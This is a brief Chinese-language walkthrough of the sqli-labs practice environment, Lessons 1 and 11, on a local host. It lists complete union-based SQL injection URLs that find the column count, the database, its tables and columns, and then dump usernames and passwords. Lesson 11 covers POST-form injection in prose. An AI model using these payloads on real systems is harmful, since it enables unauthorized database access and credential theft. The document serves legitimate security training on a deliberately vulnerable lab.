第一关 ' 闭合
查看闭合方式 加 ' 后发现报错 注释后 正常
使用and 1=1; and 1=2 测试是否存在sql注入
显示异常 存在SQL注入漏洞
测试列数
存在三列
查看回显点并开始联合查询
http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,2,3-- -
查当前库名:
http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,2,database() -- -
查表名:
http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() -- -
查user表中字段名:
http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' -- -
查询password 和 username:
http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,2,group_concat(username,0x7e,password) from users -- -
第十一关 post
本关为post,在输入尝试注入
输入 1' 发现报错 注释后正常显示说明是'闭合
在密码框尝试注入 发现也有报错
我们在username注入
此时 正常
报错 说明有2列;
判断回显点
开始联合查询
查询成功